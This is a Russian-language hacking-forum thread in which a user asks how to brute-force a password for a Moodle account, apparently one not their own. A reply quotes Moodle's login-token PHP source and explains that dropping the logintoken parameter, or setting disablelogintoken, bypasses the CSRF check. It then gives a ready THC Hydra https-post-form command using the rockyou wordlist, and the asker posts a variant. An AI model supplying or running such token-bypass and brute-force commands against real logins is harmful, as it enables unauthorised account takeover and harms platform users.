logintoken и попытка брута moodl'a через burp suite и thc hydra

Discussion in 'Песочница' started by 1fort23, 6 Dec 2020.

  1. 1fort23

    1fort23 New Member

    Joined:
    6 Dec 2020
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Можно ли узнать пароль от аккаунта?
    В BS имеется строка logintoken. Есть подозрение, что из за нее не выходит узнать правильность ввода данных. Через гидру так же, 0 правильных паролей..
    Есть мысли? На что обратить внимание при бруте и реально ли это сделать? (скриншот bs кинул)
     

    Attached Files:

    • 1sc.png
      1sc.png
      File size:
      30.3 KB
      Views:
      399
  2. fandor9

    fandor9 Reservists Of Antichat

    Joined:
    16 Nov 2018
    Messages:
    630
    Likes Received:
    1,050
    Reputations:
    47
    Начиная с версий 3.1.15, 3.3.9, 3.4.6, 3.5.3, 3.6.0 используется logintoken, как дополнительная защита CSRF от атак. Вот тут в функции get_login_token вы видите как генерируется токен,
    PHP:
        /**
         * Get the current login token or generate a new one.
         *
         * All login forms generated from Moodle must include a login token
         * named "logintoken" with the value being the result of this function.
         * Logins will be rejected if they do not include this token as well as
         * the username and password fields.
         *
         * @return string The current login token.
         */
        
    public static function get_login_token() {
            global 
    $CFG$SESSION;

            
    $state false;

            if (!isset(
    $SESSION->logintoken)) {
                
    $SESSION->logintoken = [];
            }

            if (
    array_key_exists(self::$logintokenkey$SESSION->logintoken)) {
                
    $state $SESSION->logintoken[self::$logintokenkey];
            }
            if (empty(
    $state)) {
                
    $state self::create_login_token();
            }

            
    // Check token lifespan.
            
    if ($state['created'] < (time() - $CFG->sessiontimeout)) {
                
    $state self::create_login_token();
            }

            
    // Return the current session login token.
            
    if (array_key_exists('token'$state)) {
                return 
    $state['token'];
            } else {
                return 
    false;
            }
        }
    а вот собственно и сама функция authenticate_user_login проверки данных.
    PHP:
    /**
     * Authenticates a user against the chosen authentication mechanism
     *
     * Given a username and password, this function looks them
     * up using the currently selected authentication mechanism,
     * and if the authentication is successful, it returns a
     * valid $user object from the 'user' table.
     *
     * Uses auth_ functions from the currently active auth module
     *
     * After authenticate_user_login() returns success, you will need to
     * log that the user has logged in, and call complete_user_login() to set
     * the session up.
     *
     * Note: this function works only with non-mnet accounts!
     *
     * @param string $username  User's username (or also email if $CFG->authloginviaemail enabled)
     * @param string $password  User's password
     * @param bool $ignorelockout useful when guessing is prevented by other mechanism such as captcha or SSO
     * @param int $failurereason login failure reason, can be used in renderers (it may disclose if account exists)
     * @param mixed logintoken If this is set to a string it is validated against the login token for the session.
     * @return stdClass|false A {@link $USER} object or false if error
     */
    function authenticate_user_login($username$password$ignorelockout=false, &$failurereason=null$logintoken=false) {
        global 
    $CFG$DB$PAGE;
        require_once(
    "$CFG->libdir/authlib.php");

        if (
    $user get_complete_user_data('username'$username$CFG->mnet_localhost_id)) {
            
    // we have found the user

        
    } else if (!empty($CFG->authloginviaemail)) {
            if (
    $email clean_param($usernamePARAM_EMAIL)) {
                
    $select "mnethostid = :mnethostid AND LOWER(email) = LOWER(:email) AND deleted = 0";
                
    $params = array('mnethostid' => $CFG->mnet_localhost_id'email' => $email);
                
    $users $DB->get_records_select('user'$select$params'id''id'02);
                if (
    count($users) === 1) {
                    
    // Use email for login only if unique.
                    
    $user reset($users);
                    
    $user get_complete_user_data('id'$user->id);
                    
    $username $user->username;
                }
                unset(
    $users);
            }
        }

        
    // Make sure this request came from the login form.
        
    if (!\core\session\manager::validate_login_token($logintoken)) {
            
    $failurereason AUTH_LOGIN_FAILED;

            
    // Trigger login failed event (specifying the ID of the found user, if available).
            
    \core\event\user_login_failed::create([
                
    'userid' => ($user->id ?? 0),
                
    'other' => [
                    
    'username' => $username,
                    
    'reason' => $failurereason,
                ],
            ])->
    trigger();

            
    error_log('[client '.getremoteaddr()."]  $CFG->wwwroot  Invalid Login Token:  $username  ".$_SERVER['HTTP_USER_AGENT']);
            return 
    false;
        }
    .....
    При этом опять-таки вызывается функция validate_login_token
    PHP:
       /**
         * Check the submitted value against the stored login token.
         *
         * @param mixed $token The value submitted in the login form that we are validating.
         *                     If false is passed for the token, this function will always return true.
         * @return boolean If the submitted token is valid.
         */
        
    public static function validate_login_token($token false) {
            global 
    $CFG;

            if (!empty(
    $CFG->alternateloginurl) || !empty($CFG->disablelogintoken)) {
                
    // An external login page cannot generate the login token we need to protect CSRF on
                // login requests.
                // Other custom login workflows may skip this check by setting disablelogintoken in config.
                
    return true;
            }
            if (
    $token === false) {
                
    // authenticate_user_login is a core function was extended to validate tokens.
                // For existing uses other than the login form it does not
                // validate that a token was generated.
                // Some uses that do not validate the token are login/token.php,
                // or an auth plugin like auth/ldap/auth.php.
                
    return true;
            }

            
    $currenttoken self::get_login_token();

            
    // We need to clean the login token so the old one is not valid again.
            
    self::create_login_token();

            if (
    $currenttoken !== $token) {
                
    // Fail the login.
                
    return false;
            }
            return 
    true;
        }
    в которой проверяется сам login_token, но при этом мы видим что если параметр login_token будет иметь значение false (которое он будет получаеть по дефолту), то функция будет возврашать true и мы обходим функцию проверки токена. В общем если я не ошибаюсь, то если убрать его совсем из POST-запроса, то он дефолтом будет получать значение false, при этом обходится проверка этого самого токена и перебор должен идти. Если же оставить значение login_token, то он будет действительнен в течение 8 часов и обновлятся при каждой проверке данных.
     
    Baskin-Robbins and dmax0fw like this.
  3. 1fort23

    1fort23 New Member

    Joined:
    6 Dec 2020
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Как понял, disablelogintoken поможет обойти это дело смотря по коду.
    Но вот проблема во времени.. Hydra справляется шустрее при подборе. Как я понимаю, для нее следует скачивать отдельные lib файлы и прописывать другую команду?
     
  4. fandor9

    fandor9 Reservists Of Antichat

    Joined:
    16 Nov 2018
    Messages:
    630
    Likes Received:
    1,050
    Reputations:
    47
    ну если у вас есть возможность изменять конфиг, то тогда мне не понятно о чём вопрос. Но в принципе да, если вы можете прописать в конфиге
    Code:
    disablelogintoken = true
    то тогда проверка тоже не выполняется.
    Я не знаю что у вас не хватает, но в принципе что-то вроде
    Code:
    hydra -l <username> -P /usr/share/wordlists/rockyou.txt <moodle_server> https-post-form "/day/login/index.php:username=^USER^&password=^PASS^:F=Login failed!"
    должно работать
     
  5. 1fort23

    1fort23 New Member

    Joined:
    6 Dec 2020
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Пример, который пробовал я:
    hydra -l <usr> -P <name.txt> -o result.log –V –s 443 <host_ip> https-post-form "/day/login/index.php:username=^USER^&password=^PASS^:F=<invalid>”

    Даже при таком раскладе выдает 0 действительных паролей.
     
Loading...
Similar Threads - logintoken попытка брута
  1. raarkil
    Replies:
    4
    Views:
    6,198